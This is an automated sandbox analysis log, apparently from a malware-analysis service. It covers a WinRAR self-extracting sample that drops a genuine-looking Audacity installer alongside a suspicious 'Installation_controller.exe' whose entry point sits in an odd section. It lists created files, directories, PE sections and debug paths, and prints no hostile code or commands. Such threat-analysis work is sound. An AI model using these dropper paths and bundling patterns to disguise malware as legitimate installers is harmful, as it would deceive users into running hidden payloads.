Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-P0K9Q.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-3463Q.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-E4TOU.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-5EL2U.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-05MM5.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-727SG.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-3DJRE.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-RT5IA.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-20JHV.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-HJCIF.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-E3H07.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-C2JTA.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-O6A7U.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-P38RE.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-4EKK3.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-TBL3M.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-ODRMT.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-LRPH6.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-II6NQ.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-11997.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-P00HI.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-EJHHE.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-6KU03.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-LHPLL.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-V3UUL.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-MD7TV.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-KU5LN.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-02MKN.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-SP0OV.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-NO5SG.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-SO3LD.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-BRLM5.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-BD9F7.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-G1KMP.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-06UFT.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-6QFDO.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-P1C46.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-77BQK.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-853A0.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-QVTJ7.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-591EJ.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-MQUPM.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-LKBSE.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-C5P2B.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\modules	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\modules\is-JOTP7.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\unins000.msg	Jump to behavior

Source: WsiysHggF9.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: WsiysHggF9.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: WsiysHggF9.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: WsiysHggF9.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: WsiysHggF9.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: WsiysHggF9.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: WsiysHggF9.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: WsiysHggF9.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: WsiysHggF9.exe, 00000000.00000003.245658936.00000000052DC000.00000004.00000800.00020000.00000000.sdmp, WsiysHggF9.exe, 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmp, WsiysHggF9.exe, 00000000.00000003.244701687.00000000052B8000.00000004.00000800.00020000.00000000.sdmp, WsiysHggF9.exe, 00000000.00000000.243769548.0000000000272000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: D:\a\audacity\audacity\.conan\data\mpg123\1.29.3\_\_\build\9e1553e6621f02c61665c153436b2dfb785b6498\bin\mpg123.pdb00 source: Audacity.exe, 00000010.00000002.583274055.00007FFCFF249000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: D:\a\audacity\audacity\.conan\data\flac\1.3.3\_\_\build\4fab43cea7baf5ca3c7db544507a05b38a68f73e\build\src\libFLAC\RelWithDebInfo\FLAC.pdb11 source: Audacity.exe, 00000010.00000002.580349736.00007FFCFF0A0000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\a\audacity\audacity\.conan\data\ogg\1.3.4\_\_\build\ad5261bf6074807e7189c351b0f79b113bf2f6c0\build\RelWithDebInfo\ogg.pdb source: Audacity.exe, 00000010.00000002.576735272.00007FFCFEEB9000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\audacity\audacity\.conan\data\flac\1.3.3\_\_\build\4fab43cea7baf5ca3c7db544507a05b38a68f73e\build\src\libFLAC++\RelWithDebInfo\FLAC++.pdb!! source: Audacity.exe, 00000010.00000002.583539424.00007FFCFF270000.00000002.00000001.01000000.00000019.sdmp
Source:	Binary string: _.pdb source: Installation_controller.exe, 00000001.00000003.378455694.000000003FC3A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\audacity\audacity\.build.x64\bin\RelWithDebInfo\modules\mod-script-pipe.pdb source: audacity-win-3.2.0-64bit.tmp, 0000000B.00000002.516640303.0000000000198000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: D:\a\audacity\audacity\.conan\data\vorbis\1.3.7\_\_\build\3b26581a680ab99eb0ef725aa935a0289708df91\build\lib\RelWithDebInfo\vorbis.pdb** source: Audacity.exe, 00000010.00000002.578547685.00007FFCFEFAB000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\a\audacity\audacity\.conan\data\flac\1.3.3\_\_\build\4fab43cea7baf5ca3c7db544507a05b38a68f73e\build\src\libFLAC\RelWithDebInfo\FLAC.pdb source: Audacity.exe, 00000010.00000002.580349736.00007FFCFF0A0000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\a\audacity\audacity\.conan\data\flac\1.3.3\_\_\build\4fab43cea7baf5ca3c7db544507a05b38a68f73e\build\src\libFLAC++\RelWithDebInfo\FLAC++.pdb source: Audacity.exe, 00000010.00000002.583539424.00007FFCFF270000.00000002.00000001.01000000.00000019.sdmp
Source:	Binary string: D:\a\audacity\audacity\.conan\data\vorbis\1.3.7\_\_\build\3b26581a680ab99eb0ef725aa935a0289708df91\build\lib\RelWithDebInfo\vorbis.pdb source: Audacity.exe, 00000010.00000002.578547685.00007FFCFEFAB000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\a\audacity\audacity\.conan\data\vorbis\1.3.7\_\_\build\3b26581a680ab99eb0ef725aa935a0289708df91\build\lib\RelWithDebInfo\vorbisenc.pdb source: Audacity.exe, 00000010.00000002.579864349.00007FFCFF065000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\a\audacity\audacity\.conan\data\mpg123\1.29.3\_\_\build\9e1553e6621f02c61665c153436b2dfb785b6498\bin\mpg123.pdb source: Audacity.exe, 00000010.00000002.583274055.00007FFCFF249000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: D:\a\audacity\audacity\.conan\data\wxwidgets\3.1.3.3-audacity\_\_\build\f80b0ba6cc698a650654b5966db925c8f7197d7d\build_subfolder\bin\wxbase313u_vc_x64_custom.pdb source: Audacity.exe, 00000010.00000002.593483340.00007FFCFF758000.00000002.00000001.01000000.00000022.sdmp
Source:	Binary string: C:\devel\projects\audacity\audacity\.conan\data\expat\2.2.9\audacity\stable\build\ad5261bf6074807e7189c351b0f79b113bf2f6c0\build_subfolder\bin\libexpat.pdb source: Audacity.exe, 00000010.00000002.585991860.00007FFCFF3A4000.00000002.00000001.01000000.0000001D.sdmp

Source: WsiysHggF9.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: WsiysHggF9.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: WsiysHggF9.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: WsiysHggF9.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: WsiysHggF9.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Obfuscated command line found

Source: C:\ProgramData\audacity-win-3.2.0-64bit.exe	Process created: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp "C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp" /SL5="$5040E,13178964,955904,C:\ProgramData\audacity-win-3.2.0-64bit.exe"
Source: C:\ProgramData\audacity-win-3.2.0-64bit.exe	Process created: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp "C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp" /SL5="$5040E,13178964,955904,C:\ProgramData\audacity-win-3.2.0-64bit.exe"			Jump to behavior

Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_0025E0E4 push eax; ret		0_2_0025E102
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_0025EBA6 push ecx; ret		0_2_0025EBB9

Source: WsiysHggF9.exe	Static PE information: section name: .didat
Source: audacity-win-3.2.0-64bit.exe.0.dr	Static PE information: section name: .didata
Source: Installation_controller.exe.0.dr	Static PE information: section name: .alcjdaw
Source: Installation_controller.exe.0.dr	Static PE information: section name: .alcjdaw
Source: audacity-win-3.2.0-64bit.tmp.10.dr	Static PE information: section name: .didata
Source: is-CV5R1.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-7U34J.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-7F1IJ.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-EPTFT.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-IU3MP.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-NKFUD.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-5OMUN.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-5LJ3G.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-NL931.tmp.11.dr	Static PE information: section name: .didata
Source: is-NTE5N.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-NTE5N.tmp.11.dr	Static PE information: section name: _RDATA
Source: is-9JHT8.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-JO5BM.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-SO45U.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-VGNVB.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-E63DL.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-7BF1G.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-MVD1T.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-J5UM8.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-OF8N5.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-DBS3U.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-7HBD3.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-EE795.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-6S7SN.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-V5T2O.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-9K9M7.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-UFU1R.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-DEMF3.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-JALHN.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-19I02.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-GCDE1.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-1J0J3.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-HKQ8J.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-U641C.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-KRBVG.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-R9F1C.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-VMF33.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-NOB4R.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-37ABV.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-HKD6O.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-L050V.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-GAK9A.tmp.11.dr	Static PE information: section name: .rodata
Source: is-GAK9A.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-8JNDO.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-0UDPU.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-L0CK2.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-TDP90.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-4STCS.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-H8I8G.tmp.11.dr	Static PE information: section name: _RDATA
Source: is-LAIB1.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-K3IU2.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-32N1E.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-0KP7K.tmp.11.dr	Static PE information: section name: asmcode
Source: is-0KP7K.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-8SGGQ.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-IOAI2.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-K8GOH.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-KRBQ3.tmp.11.dr	Static PE information: section name: minATL
Source: is-KRBQ3.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-6C785.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-5BTDL.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-5AL5G.tmp.11.dr	Static PE information: section name: .00cfg
Source: is-JOTP7.tmp.11.dr	Static PE information: section name: .00cfg

Source: initial sample

Static PE information: section where entry point is pointing to: .alcjdaw

Source: C:\Users\user\Desktop\WsiysHggF9.exe

File created: C:\ProgramData\__tmp_rar_sfx_access_check_6416453

Jump to behavior

Source: is-2SCU5.tmp.11.dr

Static PE information: 0x6E8BFE97 [Mon Oct 9 01:40:39 2028 UTC]

Source: C:\Users\user\Desktop\WsiysHggF9.exe	File created: C:\ProgramData\audacity-win-3.2.0-64bit.exe			Jump to dropped file
Source: C:\Users\user\Desktop\WsiysHggF9.exe	File created: C:\ProgramData\Installation_controller.exe			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-7F1IJ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\msvcp140_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\FLAC.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-sentry-reporting.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-KJ41F.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-UJ3RS.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-TDP90.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-theme-resources.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\zlib1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\sndfile.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-HKD6O.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-transactions.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-EGO60.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-UR1D7.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\ogg.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-screen-geometry.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\WsiysHggF9.exe	File created: C:\ProgramData\audacity-win-3.2.0-64bit.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-37ABV.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-5LJ3G.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\portaudio_x64.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-preferences.dll (copy)	Jump to dropped file
Source: C:\ProgramData\audacity-win-3.2.0-64bit.exe	File created: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\msvcp140.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-K8GOH.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-NOB4R.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-0KP7K.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-audio-graph.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-exceptions.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-basic-ui.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-files.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\libexpat.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-5BTDL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-SO45U.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\wavpackdll.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-IU3MP.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\modules\is-JOTP7.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-theme.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\vorbisenc.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\msvcp140_codecvt_ids.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-cloud-audiocom.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Users\user\AppData\Local\Temp\is-GK43T.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-2SCU5.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-graphics.dll (copy)	Jump to dropped file
